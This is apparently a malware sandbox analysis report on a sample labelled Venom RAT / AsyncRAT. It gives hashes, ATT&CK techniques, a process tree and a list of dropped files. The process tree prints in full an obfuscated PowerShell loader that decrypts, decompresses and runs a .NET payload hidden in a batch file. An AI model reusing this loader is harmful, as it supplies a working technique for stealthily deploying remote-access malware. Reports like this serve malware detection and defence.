asyncrat | 35dd1e24b5d7024c28d728aa28146f910c0b9832b5dff75ce5e972b5a6f414c5

Resubmissions

15-04-2024 15:53

240415-tbwpfsce4y 10

23-03-2024 00:57

240323-ba892sbc56 10

Analysis

max time kernel
58s
max time network
66s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
23-03-2024 00:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

VenomRAT v6.0.3/Venom RAT + HVNC + Stealer + Grabber.exe
Size

26.1MB
MD5

a8776c9984c7b6c4f18bf0505ca939b5
SHA1

e23a41b6f03f11d3b6a64d5645fa102f373bd292
SHA256

5dbb0f9df5fc34b49f0e284afe9037206c29dd8e50f0adbbcca785dcca89592e
SHA512

9ebb8d42d1649cb2b3e97bd703d5daa4b1a87f21949c279335f5b0ee834ef185be473e23f82f0562a0f22c1e54675259113c6555976aee5b5def2087b34a8398
SSDEEP

786432:/h9/AxUNfm9O7HYazcKB9rZsiqS+r+/hGykCCU1:/h9YxUNpTYGRQGhGykCC

Score

10^/10

asyncrat rat

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Venom RAT + HVNC + Stealer + Grabber.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation Venom RAT + HVNC + Stealer + Grabber.exe
Executes dropped EXE 1 IoCs

Processes:

Venom RAT + HVNC + Stealer + Grabber.exe

pid process

1784 Venom RAT + HVNC + Stealer + Grabber.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5052 powershell.exe
5052 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5052 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation	Venom RAT + HVNC + Stealer + Grabber.exe

pid	process
1784	Venom RAT + HVNC + Stealer + Grabber.exe

pid	process
5052	powershell.exe
5052	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5052	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

Venom RAT + HVNC + Stealer + Grabber.execmd.exe

description	pid	process	target process
PID 4956 wrote to memory of 3340	4956	Venom RAT + HVNC + Stealer + Grabber.exe	cmd.exe
PID 4956 wrote to memory of 3340	4956	Venom RAT + HVNC + Stealer + Grabber.exe	cmd.exe
PID 4956 wrote to memory of 1784	4956	Venom RAT + HVNC + Stealer + Grabber.exe	Venom RAT + HVNC + Stealer + Grabber.exe
PID 4956 wrote to memory of 1784	4956	Venom RAT + HVNC + Stealer + Grabber.exe	Venom RAT + HVNC + Stealer + Grabber.exe
PID 3340 wrote to memory of 760	3340	cmd.exe	cmd.exe
PID 3340 wrote to memory of 760	3340	cmd.exe	cmd.exe
PID 3340 wrote to memory of 5052	3340	cmd.exe	powershell.exe
PID 3340 wrote to memory of 5052	3340	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Venom.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:3340

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function ztZFv($NRwiA){ $nQAla=[System.Security.Cryptography.Aes]::Create(); $nQAla.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nQAla.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nQAla.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('QdoYxUkiCqDUKhWwrTH7AerfcIF5j7b/N2RWKPLtoYY='); $nQAla.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('odLQJwhJTyobsFXcB4hGIA=='); $gHZYb=$nQAla.CreateDecryptor(); $return_var=$gHZYb.TransformFinalBlock($NRwiA, 0, $NRwiA.Length); $gHZYb.Dispose(); $nQAla.Dispose(); $return_var;}function RqfAN($NRwiA){ $eThoy=New-Object System.IO.MemoryStream(,$NRwiA); $sppNM=New-Object System.IO.MemoryStream; Invoke-Expression '$TwzvL #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$eThoy,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $TwzvL.CopyTo($sppNM); $TwzvL.Dispose(); $eThoy.Dispose(); $sppNM.Dispose(); $sppNM.ToArray();}function mReVh($NRwiA,$dHouc){ $RXzAR = @( '$nUQVd = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$NRwiA);', '$TAeyG = $nUQVd.EntryPoint;', '$TAeyG.Invoke($null, $dHouc);' ); foreach ($CnxNU in $RXzAR) { Invoke-Expression $CnxNU };}$DsIiH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Roaming\Venom.bat').Split([Environment]::NewLine);foreach ($REdJF in $DsIiH) { if ($REdJF.StartsWith('SEROXEN')) { $LHnvh=$REdJF.Substring(7); break; }}$AShmJ=RqfAN (ztZFv ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($LHnvh)));mReVh $AShmJ (,[string[]] ('C:\Users\Admin\AppData\Roaming\Venom.bat')); "
3⤵
PID:760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5052

C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe
"C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"
2⤵
- Executes dropped EXE
PID:1784

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Venom RAT + HVNC + Stealer + Grabber.exe.log
Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tpcs2kwo.ga1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe
Filesize
14.2MB

MD5
3b3a304c6fc7a3a1d9390d7cbff56634

SHA1
e8bd5244e6362968f5017680da33f1e90ae63dd7

SHA256
7331368c01b2a16bda0f013f376a039e6aeb4cb2dd8b0c2afc7ca208fb544c58

SHA512
7f1beacb6449b3b3e108016c8264bb9a21ecba526c2778794f16a7f9c817c0bbd5d4cf0c208d706d25c54322a875da899ab047aab1e07684f6b7b6083981abe5

Download Submit
C:\Users\Admin\AppData\Roaming\Venom.bat
Filesize
11.9MB

MD5
04fd97b8a5d2132eee84f856ee0fa938

SHA1
0d1d515140d76fcd9a2dc7f08f9d7a7d9f8d691a

SHA256
bb33e3c94abeda061b89a1d70d2430b74fcc40a81b09c732878939308a676e49

SHA512
e5b4e624343b3e9bec048c894ba681a44d8e71735c03445c361f059dc0aeb53afabeee37bb82ea9ad47187d305ecf28c1b6e46a039a1630da08e2488edb00778

Download Submit
memory/1784-21-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp

Filesize
10.8MB

Download
memory/1784-22-0x000002242B240000-0x000002242C074000-memory.dmp

Filesize
14.2MB

Download
memory/1784-23-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp

Filesize
10.8MB

Download
memory/4956-0-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp

Filesize
10.8MB

Download
memory/4956-1-0x0000000000780000-0x00000000021AA000-memory.dmp

Filesize
26.2MB

Download
memory/4956-2-0x000000001CF10000-0x000000001CF20000-memory.dmp

Filesize
64KB

Download
memory/4956-20-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp

Filesize
10.8MB

Download
memory/5052-29-0x00007FFEB50F0000-0x00007FFEB5BB1000-memory.dmp

Filesize
10.8MB

Download
memory/5052-34-0x000001DBBBFF0000-0x000001DBBC012000-memory.dmp

Filesize
136KB

Download
memory/5052-36-0x000001DBB9E40000-0x000001DBB9E50000-memory.dmp

Filesize
64KB

Download
memory/5052-35-0x000001DBB9E40000-0x000001DBB9E50000-memory.dmp

Filesize
64KB

Download
memory/5052-37-0x000001DBBC3D0000-0x000001DBBC414000-memory.dmp

Filesize
272KB

Download
memory/5052-38-0x000001DBBC4A0000-0x000001DBBC516000-memory.dmp

Filesize
472KB

Download
memory/5052-39-0x000001DBF4780000-0x000001DBF5018000-memory.dmp

Filesize
8.6MB

Download
memory/5052-40-0x00007FFED3A40000-0x00007FFED3AFE000-memory.dmp

Filesize
760KB

Download
memory/5052-41-0x00007FFED4090000-0x00007FFED4285000-memory.dmp

Filesize
2.0MB

Download
memory/5052-42-0x00007FFED4090000-0x00007FFED4285000-memory.dmp

Filesize
2.0MB

Download
memory/5052-43-0x00007FFED4090000-0x00007FFED4285000-memory.dmp

Filesize
2.0MB

Download
memory/5052-44-0x00007FFEB50F0000-0x00007FFEB5BB1000-memory.dmp

Filesize
10.8MB

Download
memory/5052-45-0x00007FFED4090000-0x00007FFED4285000-memory.dmp

Filesize
2.0MB

Download